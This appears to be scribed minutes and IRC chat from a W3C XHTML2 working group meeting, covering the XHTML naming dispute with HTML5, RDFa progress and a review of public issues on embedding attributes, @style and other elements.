Our charter mentions work on XHTML, including 1.0 ... So if we create a 1.2 that would crystalise the situation Shane: I agree ... I have it in writing from Chris Lilley that we can do a 1.2 <oedipus> institutional angst is but the tip of the existential iceberg Roland: We should raise it at the HCG ... it is clearly in the charters Tina: Regarding 1.2 ... quoting above, it says that HTML5 replaces XHTML 1.0 ... so what about XHTML2? <yamx> They cannot replace XHTML2... Shane: They are trying to orphan XHTML2 <yamx> They will change "Relationship to XHTML 1.x" to "Relationship to XHTML m.n". :-) Shane: we need to respond forcefully ... By charter we are responsible for the XHTML series, and HTML5 is not chartered to do that Tina: Is Mike's response a formal one from the WG? Gregory: We haven't discussed it in the group Shane: So they made the change without discussion Tina: We should reply that we are chartered to do that work <yamx> ... I just cannot understand how they work in HTML5.... Roland: We should keep it short, and not debate the points <oedipus> root of problem: (from Status of this Document) - "The latest stable version of the editor's draft of this specification is always available on the W3C CVS server and in the WHATWG Subversion repository. The latest editor's working copy (which may contain unfinished text in the process of being prepared) is available on the WHATWG site. " Shane: We should reply that they should remove all text that gives the impression that they are producing XHTML <yamx> I agree. <oedipus> amen <yamx> I support the resolution. <ShaneM> Rationale... they are introducing confusion in the marketplace and damaging the brand that is XHTML. This is harmful and misleading. PROPOSED RESOLUTION: The WG recognises that we are chartered to maintain and develop the XHTML series, and the HTML5 specification should therefore not contain text that makes it appear differently <yamx> yes. RESOLUTION: The WG recognises that we are chartered to maintain and develop the XHTML series, and the HTML5 specification should therefore not contain text that makes it appear differently <oedipus> +1 <Tina> +1 <ShaneM> In particular, HTML5 is NOT empowered to supercede XHTML *anything* <scribe> ACTION: Roland to reply to HTML5 WG to communicate our resolution on XHTML naming [recorded in] <Steven> Scribe: Steven <ShaneM> Proposal: Re-issue XHTML 1.0 removing appendix C and pointing to XHTMLMIME. <oedipus> that will be VERY helpful Shane: Would that be a good idea? Gregory: Yes Steven: We are chartered to do it Roland: What do we have to do? <ShaneM> Proposed CR end date for RDFa is 18 July Steven: There are lots of implementations ... so the CR period will be short ... we have XHTML 1.1+RDFa ... and we can merge that with @role and so on, and create 1.2 Roland: Is the media type issue resolved? Shane: Maybe not Steven: Not clear. TimBL has sent a new message; not clear if that reopens the issue Shane: He has an issue about how you ask the server for the RDF involved with a document ... but I think the media type issue is solved ... the peripheral issue is about 'announcement'; how an author says that a document contains RDF ... Ralph in his recent message <oedipus> "If saying SHOULD for *any* of the 3 document conformance options 4, 5, or 6 leaves the reader with the impression that NOT doing any of the three means the author has NOT intended to state these triples then I would agree with your concern. However, these SHOULDs are there for 3 different reasons." Shane: ... suggests that authors MAY add version information ... any opinions? ... I've never used MAY in this context Steven: I have trouble understanding what Tim really wants <oedipus> RFC2119 def red Shane: I mean more generally, what does it mean to say MAY for the author <ShaneM> <oedipus> GJR thinks SHOULD should remain SHOULD Steven: Ralph seems to want to be able to extract RDF from a doc without a DOCTYPE, or a version, or a profile Shane: Yes, and he thinks Tim does too <yamx> I agree with Steven on putting "MAY" for author conformance... But maybe it is because usually we avoid any document conformance.... <oedipus> Shane: But I don't agree that that is what Tim wants ... he seems to be a big supporter of GRDDL <oedipus> ." Steven: GRDDL is not harmful to RDFa Shane: CR may be held up by Tim's comment ... we may be asked to quickly decide on changes to the conformance clause to fix this objection <yamx> see you later. Shane: the TF has been told verbally that the changes they had made would satisfy Tim's objection. ==== 2 min break === === bacl at xx:25 === <oedipus> if i don't use a speaker phone, i often inadvertantly cover the mouthpiece so it is easier for others if i use speakerphone <yamx> alessio, p3! <yamx> Thanks. rrsgent, make minutes <oedipus> FYI: open accessibility (open a11y) uses XHTML 1.0 strict but is migrating to 1.1+RDFa for specifications and documents <scribe> ACTION: Steven to start an implementation page on the wiki [recorded in] <oedipus> FYI: <alessio> gregory, as IWA/HWG we are present in that WG with three people :) <oedipus> hooray! <Roland> Venice: <oedipus> GJR would like to make some specific suggestions (e.g. use global @src on Q for URI/IDREF and redefine @cite to contain human parseable info of the type of info encased in CITE element ) Roland: We still need to do some work Steven: RDFa has been the main gating factor ... since we reference RDFa normatively, we have to follow it one step behind <oedipus> scribe: oedipus SM: haven't put out PWD in 2 years ... everytime propose new PWD, get objections -- need to get a snapshot up ... updates from 2 years ago need to be effected RESOLUTION: Issue a new XHTML2 Public Working Draft <yamx> no objection from me. +1 RM: next steps after publication? <Steven> +1 <alessio> +1 <Tina> +1 RM: do we want XHTML2 to be all-encompasing or refer to modules SP: refer to modules - actually, depends on what you mean <Steven> Yes, modules <Steven> + refer to XForms 1.1 RM: XML Events on spec track, Access on spec track, etc. -- don't want to have to go through last call again - XHTML2 should incorporate modules externally defined <Steven> RDFa SP: include RDFa and XForms 1.1 <Steven> + access + role <Steven> + XML Events SM: had rule that XHTML author should be able to use XHTML2 spec to get enough info to write documents; should be able to find content model and syntax in XHTML2 - misguided - people write books to do that - can point to other specs to help keep in sync <Steven> I can live with that if there are good enough links to definitions of elements and attributes elsewhere RM: Events, Handlers and Script modules (new XML Events in 3 Modules) <ShaneM> SM: if want to change philosophy of what ought to be in spec, should do consciously ... need to update section cited above and remove some other chapters - should be sufficient RM: minimal work to publish new PWD that refers to latest state of things been driving forward <scribe> ACTION: ShaneM - incorporate Access, Role, XML Events (in 3 modules: Events, Handlers, Script), and RDFa modules through external reference to XHTML2? [recorded in] RM: how long will that take, shane? SM: can have by monday RM: new PWD by end of june SM: perfect <Zakim> oedipus, you wanted to ask what is most efficacious feedback stream for XHTML2? SP: send to WG as email with suggestions and examples ... one implementation strategy is to try and create set of javascripts that implement XHTML2 - XHTML2 with script to work in existing browsers ... half of that is on the way with IBM's ubiquity -- XForms, but the heart of it - a lot can be done with CSS in XHTML2 that authors are familiar with, remaining hard bits are HREF and SRC everywhere ... good place to start working is to create bit of script or script library that supports HREF and SRC everywhere Alessio: i will try to write one ... Access module support in XBL - can transfer solution SM: XML Events 2 another challanging bit SP: XForms does XML Events, so ubiquity will move to XML Events 2 SM: uses Events, not Handlers SP: Handlers derived from XForms ... conditionals from XForms 1.1 ... should be referencing XForms 1.1 rather than XForms 1.0 ... XML Events is difficult, but ubiquity will help us RM: implementation of SCRIPT tag through javascript? SP: danger is UA gets to SCRIPT tag before XHTML2 script does Alessio: interesting point SP: may be ok - proof will be in the proverbial pudding SM: things in scripts don't do inline functions - should declare, not execute RM: move it all into a single namespace? ... make author's life as easy as can make it SM: what would that encompass "all"? RM: XML Events, XML Handlers - take as chameleon to XHTML namespace <Steven> SP: let's do it and see what reaction is RM: ARIA Module - should be in here SM: absolutely think should include ARIA (as aria- ) in XHTML2 Alessio: agree GJR: agree <Steven> RM: our view is that we will do aria- SM: wrt XHTML2, ARIA spec will be rolled in - should add reference to XHTML2.0 doctype chapter latest drafts 18 june 2008 <ShaneM> Let's offer to help ARIA create a DTD and Schema for their spec that conforms to M12N 1.1 yes, shane - i will work with you on that if you like RM: discussion aroiund Alessio's work - viewports in source as well as from elsewhere - fact of life need to talk out how to address ... what to do with certain types of elements - XHTML2 include H1 - H6 - should be using H for headings and H1 to H6 in another place SP: legacy module SM: agree Alessio: yes Yam; yes GJR: yes SM: can migrate things to legacy module; rather not craft new module for next week <yamx> Yam; yes? yes :-) RM: agree - this is future work - raising bar and dealing with structural and clean authoring - adapting to needs of a11y, ubiquitous, etc Yam: any enumerated list of issues to resolve for LC of XHTML2? SP: interesting questoin: have a list of issues that have been raised about XHTML2 Yam: make sub-set of issues we have to clear - work on both sets of issues SP: shane can provide a URI to tthe database of issues ... strictly speaking, we are a different WG than those addressed to us prior to split of MarkUp Yam: still need to attend to them RM: we should start to work through old issues during next hour SM: 82 issues in incoming bucket that have never been filed ... trying to get URI that includes old and newer issues <ShaneM>;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: not marked "implemented" - means hasn't been fixed ... suggest we do in alphabetic order RM: ok <Steven>;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: constrain attribute groups together - could extend syntax to show that was my response, but seems an abstract issue (4 year old comment - 7661) SP: issue for M12n, not XHTML2 per se SM: M12n 2 is direct product of work on XHTML2 RM: explainations in prose to schema - might have to switch to RelaxNG SP: not necessarily - RM: if want to put in as implementation, need to use RelaxNG - will become issue in LC SM: marked as "suspended" SP: add note to say think is good thing for M12n 2 SM: ok ... issue 7783 - already improved - need to add text to @src to clarify when dir applies to source SP: believe specificied dir only in regard CSS properties ... that would answer question SM: does it? SP: if say @dir defined this way and reference CSS - only affects content of element SM: misconception may arise from @src treated as object ... use of @src to provide inline text ... @src doesn't say thing brought in is in its own context - there is a resolution somewhere, but change yet to be effected to draft;statetype=-3;upostype=-1;changetype=-1;restype=-1 SP: feature request to sysreq - use ID for resolutions in perl script that generates minutes ... will send in issue request now <ShaneM>;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 <ShaneM> SM: ISSUE 7799 Jim Ley points out that not clear how deal with quality values in regards source - "Please clarify the section to explain how document quality values, and user agent quality values combine." ... comment reflects on @srctype - clarify in text what we mean by intersection SP: explanation: in HTML4, one could say type="foo" to specify type of thing pointing at -- doesn't do anything, just a hint - no garuntee that it is true - comment more than anything; made more useful to merge type into HTTP-REQUEST sent for resource; allows one to specify the RDF version of a document - gives control over content negotiation ... haven't specified for quality values ... no answer off top of my head RM: @src and @srctype - example of a handler element SM: used to ... good catch -will fix now SP: needs some brainwork SM: started to address in XHTMLMIME doc last night in regards requests in general and use of profile parameter as media selector - all dovetail <scribe> ACTION: Steven - devote brain cycles to solving quality values question [recorded in] SM: ISSUE 7799 is "open" then ... next issue in same section also from Jim Ley;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: "intersection of mime-types" - what does asterisk mean when creating intersections SP: similar issue - answer fairly obvious - will combine with previous action item <scribe> ACTION: Steven - combine answer to ISSUE 7800 with answer to ISSUE 7799 [recorded in];user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: "attributes without values" ... from issue: "class attribute is defined as NMTOKENS, which in turn is defined as one or more whitespace separated NMTOKEN... but I think it is always legal to specify an attribute with no value. Isn't it? We should make that clear." ... thought this was closed ... marked "The working group intended this be NMTOKENS, and that an empty value be not permitted. SM: WG did not want use for class;statetype=-3;upostype=-1;changetype=-1;restype=-1 RM: need to start devoting significant time and effort on this SM: biggest criticism WG has had is non-responsiveness to public issues;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: one of family of comments from Jim Ley - please specify something when something goes bad ISSUE 7730: "If the user aborts downloading whilst the chicken.xhtml resource is only partially downloaded, is the chicken.xhtml resource successful or not? And what should be rendered, the parts of chicken.xhtml that had been downloaded and rendered so far, or should the fallback content be rendered instead? Is the behaviour any different if instead of a user initiated abort, there's an abort caused by the network?" TH: similar to conversation yesterday <Steven> (Feature request for id on RESOLUTIONS sent) TH: if download document that is perfectly valid, document shouldn't be rendered by UA ... if embed fragment, and collection is lost - what then? SM: diff by the way separate documents (OBJECT or IFRAME) and embedded documents SP: good question - gut feeling is that any failure should be counted as a failure SM: what does it mean when fails -- falls back? SP: if loading of resource fails, fallback content should be used - that's what @src states - if network fails during download, fallback to fallback content <alessio> +1 +1 <Tina> +1 RM: unpredictable - did or didn't - if succeed, get it, if fails, don't get it and get fallback (which is what it is there for) SP: need to state explicitly SM: same argument applies to ISSUE 7731;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 RM: marking as closed? SM: marking as go RM: don't want to have to revisit in a few months;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: 7731 same as 7730 SP: different - when talking about @src - if have PDF as target of @src, but if PDF not available/supported should not be an error; errors in @src should ONLY refer to network errors in retrieving source TH: agree that if you link embedded PDF and is handed off to third-party app, not a failure, but in jimL's example, compromise entire document ... XHTML fragment with host document suddenly becomes invalid host document; processing directive "this has been embedded with @src shouldn't text that for validity" SP: when process top-level XHTML2 document, and XHTML2 processor not aware/agnostic of mediatype - goes and gets resource; if retrieving resource successful, hands off to plug-in; if not delivered (failure to load remote resource) RM: not clear from reading def of @src what DOM looks like after it has succeded ... what happens? TH: embedding mechanism @src doesn't care about content-type or resource? SP: in loading it, doesn't do anything special for diff mediatypes TH: separate processor - if resource in form of XML, does XML become part of host document SM: answer is no SP: like IMG @src now TH: can't access that segment via the DOM RM: that is what is unclear in @src def SM: intent - anything included by @src works as OBJECT element should - separate entity in displayed document (has own security context, DOM, etc.) <Steven> Yes, it is a shortcut for object, good description RM: syntaxic shortcut for OBJECT element? need to make that clear <alessio> true SM: if that is what it is, not entirely sure is useful RM: still going to write HTTP-REQUESTs SP: reason good is that solves problem with LONGDESC - moving longdesc into document ... keeping separate docs up to date with LONGDESC model very difficult; in this way, keep longdesc in document itself and have best of both worlds SM: agree that very difficult to maintain LONGDESC, but if only use case, very heavy handed solution SP: not only use case, but a REALLY good solution for LONGDESC RM: if want @src to appear in DOM, don't use this - need to clarify ... to have in DOM and manipulate, use HTTP-REQUEST SP: XForms SM: no XHR or server-side includes <alessio> +1 for an embedded LONGDESC SP: XHR is derived from XForms +1 for embedded LONGDESC (on user configuration) RM: don't think so ... restrictions and restraints lacking SP: should discuss, but XForms instance gives us what we want SM: if that is the case, it is a non-obvious solution to this problem RM: if XForms 1.1 isolates network module for getting and putting resources will be easier than XForms today SP: why? load some resource then use part of them RM: no, load resource inline in DOM no referencing - just there SM: mash-up use case - SP: XForms addresses that in my opinion SM: text doesn't make it clear and needs clarification - who owns section? SP: suspect it is me RM: known issues SM: @src content embedded, so needs own styling TH: needs to be stressed as well SM: SP owns section PRPOSED ACTION: Steven - add text to make clear that item not in DOM and clarify styling implications SM: strong argument, RM for other sort of include - proposal would be good <ShaneM>;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 <scribe> ACTION: Steven add text to @src section to make clear that item not in DOM and clarify styling implications [recorded in] SM: ISSUE 7732 - clarify intersection of what author is asking for and what UA can handle "Please remove this constraint. " TH: Needs clarification SM: clarified somewhere - discussed multiple times TH: if what JimL quotes is correct, then "OUCH!" SP: trouble is thing is being embedded, so the surrounding XHTML2 processor not going to be displaying it; what XHTML2 processor can display non-issue - encoding matters to what is used to process that doctype RM: does same issue apply to OBJECT? SM: don't think is same <ShaneM> <markbirbeck> Apologies again guys...can't join today. Sorry. :( <markbirbeck> Will stay on IRC for as long as I can. TH: seems like matter of semantics - intent of section is to say author may suggest what to request, but UA chooses what can understand <Steven> SP: charset attribute used on A, LINK, SCRIPT in HTML4 - renamed at request of i18n ... HTML4 says "this attribute specifies character encoding specified by link" so HTML4 has same problem TH: fundamental difference - in HTML4 resource specified by link; objection is to "user agent must use this list to indicate what accepts" SP: HTML4 to XHTML2 - HTML4 @charset specifies character encoding of source specified by link; what if UA doesn't know encoding; no prose about refusing if UA cannot accept - just says "that's the encoding" TH: problem with any link SP: XHTML2 adds to accept headers - asks for specific resource and sent off in request headers ... shoujld we use encoding in request, or in accordance with what UA says it accepts ... if answer is yes, combine with what UA can accept, means excluding resources not natively supported by UA (PDF example) ... not issue of UA can handle UTF-8, but if PDF parser can handle UTF-8 TH: still back to semantics - need to sort out - ... not clear to me or authors - doesn't solve problem of what happens if host UA is rendering what it serves <Steven> So, there is nothing wrong with <img src="foo.pdf" srctype="app/pdf" encoding="utf-8"/> SP: no business of UA whether can handle UTF-8 TH: that's what needs to be clarified "The user agent must use this list as the field value of the accept-charset request header when requesting the resource using HTTP" RM: what is use case of putting source of PDF in there? SP: just an example RM: what is the "real" motivating use case for this SM: just think OBJECT - think about it in that context RM: so applies to OBJECT SM: yes SP: and attribute is used by OBJECT SM: meant in HTML4 SP: ah SM: if specified on OBJECT element currently, UA would constrain request SP: not in HTML4 ... design error in definition of @srctype and @encoding in HTML4 - useless comments from which nothing is gained <alessio> yes TH: sort out JimL's issue by clarifying his misunderstanding - ... need to sort issues out - <Steven> SP: i don't think there is very much of use case for @encoding attribute - most people don't and won't use it; purely a comment in HTML4; XHTML2 tightening it up for a use, but barely a reason why one would want to use TH: if use on OBJECT in HTML4, can provided basis for content negotiation SP: how does UA know what thing which is doing embedding can accept? ... when use OBJECT for a video, not UA that does video, hands off to plug-in SM: and no way for UA to tell not supported so give me fallback TH: UA doesn't know what plugin can handle <ShaneM> How about saying "The encoding applies to retrieving a specific version of a resource to hand off to a resource processor for an embedded attribute. It has nothing to do, per se, with the capabilities of the user agent. We will make it clear in the text that this is the case." TH: make 18.1 explicit that this is what processor can handle, not User Agent <Steven> tina breaking up GJR plus 1 to shaneM suggestion <Tina> If we can clear up 18.1 to make it explicit that it is the processor that handles the embedded content which use this encoding, and NOT the embedding UA, then we can close the issue. SM: information that a UA would give to the plugin - handler for associated mediatype - plugin should know to retreive resource or accept resource using this encoding RM: still have problem figuring out why useful - embedding attribute module SM: larger question - even if atts only expressed in relation to OBJECT would still have same issues RM: trouble understanding value of putting this everywhere SM: issue 7733 -;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 ... response is "embedded content is not in the stream" Steven: +1 GJR +1 <yamx> Yam: +1 (quite natural) RESOLUTION: Issue 7733 closed by responding "embedded content is not in the stream" <alessio> +1;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: also from Jim Ley - visited previously but still open - how to know if a "successful failure" - don't think should say anthing about http SP: agree <ShaneM> This specification should not specify anything about how the underlying protocols associated with a URI scheme report success or failure. SP: http spec already says what is and isn't failure - what begins with a 4 is failure, what begins with 2 or 3 is success TH: leave to separate protocols to determine what is successful and what is failure;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: 7735 closed ... ISSUE 7736 - what happens when an HREF and an SRC TH: would embedded content be linkable SM: content from HREF replaces SRC SP: no - if a P remains a P TH: so embedded content linkable - don't see problem <Steven> I think that <a id="donkey" href="donkey.html" src="chicken.xhtml>chickens</a> TH: embedded content used as the link, which seems reasonable; some styles to apply to embedded images (A with IMG) ... replace content with CSS <Steven> is equiv to the present <a id="donkey" href="donkey.html"><img src="chicken.xhtml" alt="chickens"/></a> SM: anything brought in by @src in own dom tree not in doc tree, but styleable itself, not covered by host document's styling TH: authors going to assume can still style image used as a link SM: styling box in which image is contained - effectively defining border TH: border is part of image element, because img doing the embedding ... not sure going to be clear to authors SM: counterintuative TH: issue raises another thing: if embedded content not in DOM and not styled by host, can it be linked? <ShaneM> Content brought in via the src attribute is placed *within* the surrounding element, so any annotation on the surrounding element would apply to that element. In this case, the href attribute would make the surrounding element (the a) linkable. TH: use an A element and @src to embed content - what happens to the link? <Steven> see above example sounds reasonable TH: like shane's example SM: capture that for edit TH: not eager to explain to author when tries to style inline elements in an A that content is actually embedded RM: share that concern - need to return to as BIG ISSUE SM: ISSUE;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 ... ISSUE 7737 - if iframe has link and click on it, what is replaced SP: not a new problem TH: IFRAMEs separate content SP: content of IFRAME gets place TH: what happens to OBJECT? <alessio> yes SM: would need OBJECT to work correctly RM: Alessio has contribution/suggestions that help <alessio> my example had a fallback SP: link will only be activated in context of embedding SM: agree TH: then embedded content works as OBJECT? SM: how OBJECT should work RM: should container be able to determine where action taken SM: today UAs don't permit embedded actions in embedded content SP: browser doesn't get events SM: go to PDF document with FF and try closing window SP: same with embedded YouTube clips TH: need to clarify this <alessio> true RM: irritating implementation bug SP: don't have control over communication mechanism between plugin and browser <ShaneM> Embedded content is in an independent context, so any links within that content would replace the embedded content, and not effect the surrounding document. Alessio: why HTML5 created VIDEO and AUDIO elements -- mediatype specific;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: still need to finish 7737 - "both behavior desireable - please suggest to author what happens when executed" ... would like to leave open while discuss what @src does and how to provide both functionalities TH: author choice and consistency - implemented easier if one handling model <ShaneM> Embedded content is in an independent context, so any links within that content would replace the embedded content, and not effect the surrounding document. We will examine providing functionality to embed content inline in a specification separately. SP: agree that there are 2 use cases, but disagree that same mechanism should do both - server side includes, XML includes - do they solve use case or not - one reason why haven't made equivalency - if tech is defined elseshere then don't duplicate <Steven> <yamx> thanks. <Steven> SM: 7738 editorial request - think should just do it;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SP: example chosen to show can do for any source of element type ... styling problem - CSS has no selector to tell you if something replaced or not ... would be good for image - when resource fails, style thusly; when resource embedded, style in this manner TH: can't style embedded content anyway SP: if an image has been replaaced want a thick border around it; one that has replaced want @alt value in bold ... how image element to be displayed when there and when not there SM: how would you do that? if provide fallback and want styled differently, wouldn't i put styling on embedded atttribute? ... object to JimL's example? SP: he's right, but that's not point of example - example just shows can do on TABLE if want TH: remind JimL this is an example SP: only there to illustrate an option ... probably had genesis in response to question "can i do this with TABLE?" TH: what happens if embed image - doesn't replace TABLE, but fills TABLE with image, but TABLE can't directly embed an image ... how is embedding UA to deal with this in content model - an empty table? ... embedding happens through DOM, won't get to content of TABLE SM: all the necessary stuff to is in DOM; DOM created before @src processed TH: first child node of TABLE node what do you get? SM: TR or CAPTION SP: replaced elements in CSS-terms -- CSS talks about replaced elements ... content in DOM not replaced -content in presentation changed RM: complicated, styling implications need to be clarified, as well as what is in the DOM at any point in time TH: not directly related to issue, but need to investigate - people use javascript to change appearance after DOM loaded SP: if you change a piece of DOM that isn't displayed, still isn't displayed; if change parent to cause content to be displayed will be displayed SM: one way to look at this is that we haven't specified how one can tell a @src is successful via the DOM SP: problem with image already as argued before TH: can't get to it thorugh DOM - people are going to be confused - will take DIV and first child element TABLE and change, but can't get to TABLE SP: if they do that will discover what embedding really is ... why spending so much time worrying about @src for HTML @src for anything at all RM: really only for opaque blocks - not what i exected SP: should discuss cases of embedding bits of XML and see if XMLInclude solves use case - tool for embedding fragments <alessio> +1 RM: also DISELECT which is intended to run client side and takes expressions so can change at runtime;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: embedded resources styled with CSS - "If the embedded resource is an XHTML 2 document that is styled with CSS, such that content is positioned at top:-100px;left:-100px, must this content be rendered by a CSS supporting user agent, or is it implementation dependant:" ... embedded resource in its block and everything related to that RM: high-grade with own anchor;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SP: new WG inherited these issues SM: tabled pending resolution of other stuff, but now back on this ... ISSUE 7734 - motivation for embedding attributes RM: most convincing (and perhaps only) case is LONGDESC SM: should say we can provide addditinoal examples and use cases SP: 2 examples are equivalent, but that isn't a problem <p> <img src="holiday" srctype="image/png, image/gif;q=0.5"> An image of us on holiday </img> <> SM: comments abour @srclang SP: for consistency, @src and @href should be aligned ... @hreflang equiv: @srclang TH: add to Core? SP: embedding applies to everything;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 <yamx> 66 minutes? ===== BREAK FOR 66 MINUTES FOR LUNCH ====== <yamx> see you later. RM: start at quarter to hour <yamx> yah it's 8:54 AM local time <ShaneM> omw <Steven> good plan RM: afternoon session start continuing with XHTML2 review;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: completed looking at embedding buckets;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SP: no, special markup for that called ITS and people should use that if want to SM: references ITS ... so what are we missing? SP: use case - google translates pages automatically, some terms need to be handled specially SM: that's what ITS is for ... if knows about ITS, then what need for TRANSLATE SP: became ITS rec in 2007 RM: comment 15 months before that SM: include ITS in XHTML2? ... don't see why not - wouldn't roll into namespace - can point to ITS with namespace independence ... already created schema and implementation for it SP: is there a translate attribute in ITS - yes, they do ... in own namespace <yamx> if you do, no objection. RESOLUTION: Incorporate ITS (International Tag Set) into XHTML2 Doctype Section SP: won't delay CR +1 <ShaneM> ACTION: Shane to add ITS into the XHTML 2 Doctype section [recorded in] <alessio> +1;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: Issue 7887 - SP: thought: within XForms, have label, help, hint, and alert - MarkB oft proposed allowing everywhere in XHTML2 as well as XForms RM: think made that proposal at last f2f SP: <img label="blah blah blah"> SM: doesn't solve internationalization problem <Steven> It is <label>Foobar</label> SP: it is an element SM: doesn't make sense GJR like LABEL for FORM in HTML4? <img alt="blah" src="blach.png"><label>Blah</label></img> RM: if use title everywhere, GJR isn't @title for tooltip-type hints and alt for labelling in HTML4? RM: write same in ALT and TITLE because no garuntee of what will happen <Steven> Roland meant <title>My picture</title> RM: html doc has TITLE element ... how displayed is separate question <Steven> that is <img src="..."><title>My house</title></img> SP: reason for not using title - confusion between @title and TITLE RM: why XForms has the 4 different elements <alessio> agree SP: 1 meant to be rendered, 1 available for reuse, 1 meant to be rendered on user action, visible when error ocurs SM: what is our plan <alessio> misunderstanding with alt and title started with IE RM: opened out - slightly broader - if do here, where else? <alessio> and the alt showed as a tooltip SP: within XForms answer is: it is used everywhere - could say is allowed anywhere text content is allowed RM: the "it" in the circumstance are the 4 elements ... do we need/want all 4 elements everywhere - have an H for purpose SM: disagree - don't think H is purpose RM: 1 of 4 will always be rendered - what if have H and LABEL Explicit Association Pattern Collisions need to be straightened out - cascade or politeness order SM: lost thread RM: what to do with this - open up for 4 state solution <Tina> Zakim: mute Tina RM: what are ramifications? what is resolution? SM: should open up - will mark issue as "suspended" while we deal with it RM: should we introduce the 4 from XForms into XHTML2 ... resolution of that will effect resolution of this issue;statetype=-3;upostype=-1;changetype=-1;restype=-1;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: suspended until LC ... style attribute SP: personally, don't think style attribute should be in XHTML Alessio: agree totally <yamx> it is ok to remove @style attr. GJR: forms-based web needs inline styles - <span style="speak:spell-out">USA</span> SP: widely used by spammers to hide stuff RM: want ability to control some things inline TH: reminds me of yesterday's discussion of @target RM: just because one can misuse, shouldn't preclude valid use SP: requirement from GJR is that can markup but doesn't need @style ... style and presentation should be separate GJR: agree, but need to use tools we have SP: better to say want to specify things can be spoken - don't require CSS RM: we don't but a given author might have CSS around ... example: assembly of fragments - need to specify by STYLE to define a fragment so has style definition and content ... need ability to associate style is a use case, but not necessarily for @style ... through SCRIPT want to define my script in my block and STYLE (element) inline ... not case in older MLs - can't put outside of HEAD ... use STYLE element so can make relevant to discrete blocks of content PROPOSED RESOLUTION?: @style is deprecated/eliminated; STYLE element can be used outside HEAD <alessio> +1 <ShaneM> +1 <Steven> I can live with that RESOLUTION: @style is deprecated/eliminated; STYLE element can be used outside HEAD <yamx> fine. TH: users will have use cases for it - this attribute (@style) will continue to be used - what do we do about that RM: is it in draft? SP: yes RM: to be resolved? SP: always in that state - in, out, in, out, then marked "this is an issue" SM: marked as issue in draft right now <ShaneM> TH: support resolution, but should be consistent in how we deal with controversial attributes (such as @target) - why not give authors option of having it there ... consistent if we can SM: same argument put forward at f2f 4 years ago at TP - ... deprecated in XHTML1.1 <yamx> if it is already deprecated, we can eliminate it. s/RESOLVED: @style is deprecated/eliminated/RESOLVED: @style is eliminated RM: does that satisfy you, tina? <yamx> "deprecate" is a fair warning for future elimination. TH: taking out some controversial things and leaving in others RM: for what has been taken out, have done so because needs been addressed otherwise ... not just style for individual element, but grouping of elements SM: agree a separate issue - but don't want to return to today TH: need policy, not adress ad hoc SM: do have policy about when things are deprecated or removed - remove when suitable replacement that can be recommended (scribe's note - consult Yam's comment above, as well) SP: if can show use case can be solved in better way SM: when features deprecated only done when other things to point to -- good statement to make <scribe> ACTION: ShaneM - Draft policy statement on migration and evolution [recorded in] <yamx> done deal.. SM: next comment is "please leave @style in" SP: bimodal issue RM: here we have is what we believe is an alternative GJR: example BLOCKQUOTE for formatting in HTML4 SM: 2 options for specifying styles (link) ... recording resolutions in tracking system tables bucket:;statetype=-3;upostype=-1;changetype=-1;restype=-1;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: never understood this comment (issue 7828) question: "Why no nested colgroup or rowgroup?" Alessio: don't understand either Yam: cannot shed light on it either SM: reason not to? TH: semantic reason why? SP: implementation? SM: colgroup and rowgroup not supported now TH: use case described says common use, but sounds like manipulation of data, not valid markup RM: need to be able to have aggregation of set of columns TH: can you do with col today? RM: dojo tables include sorting of rows GJR notes that this affects @scope (scope="colgroup") RM: why not just reject SM: rationale? SP: don't understand how the markup would help your use case TH: can do what want to do today with col and id - don't see why would want to nest THEAD and TFOOT SM: not semantically sensible RM: suggestion doesn't solve use case - tell us problem, not your idea of solution - what are requirements SM: ok ... leave in state of feedback - send and await answer;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: question is "what is the scope of a header" -- note that we need a better explanation - think this is in wrong bucket - move to structural ... person responsible for TABLE chapter hasn't been active for a few years - would like to reassign - volunteer? TH: i volunteer, but swamped with work - cannot garuntee complete attention <yamx> Victim.. SP: if no one else wants it i will take it RM: list of open sections? SM: master list in control system ... only see if admin <scribe> ACTION: ShaneM - create and maintain ownership of wiki page listing who owns what bucket [recorded in];user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: Issue 7881 related to 7828;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: already asked for more info and a description ... follow-ups to public discussion list, so other people chime in ... claims can put in multiple TBODY elements and magic ocurs ... will examine more ... text bucket;statetype=-3;upostype=-1;changetype=-1;restype=-1 ... Issue 7876 agreed but marked as open;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: requested example of L versus BR from submiter ... many requests to have BR reinstated SP: thought agreed to do it SM: ok (Shane experiences technical difficulties) TH: use case for 7882 doesn't make sense SM: agree ... example spurious, but number of people including DanC and TBL who want it back in, so don't really have choice SP: did agree to restore a while ago RM: should be implementable in existing browsers TH: other use cases for BR - so don't mind having back;user=guest;statetype=-3;upostype=-1;changetype=-1;restype=-1 SM: 7885 - DFN TH: nothing to do with italics and i and typography - has specific semantic interpretation ... argument is "traditional typographers" SP: means don't want just I RM: agree to put DFN in? SP: don't remember removing it? ... why would we have? GJR: think still there SP: think just missed it - don't think we ever took it out RM: be happy SP: which module? <alessio> agree, dfn has a scope 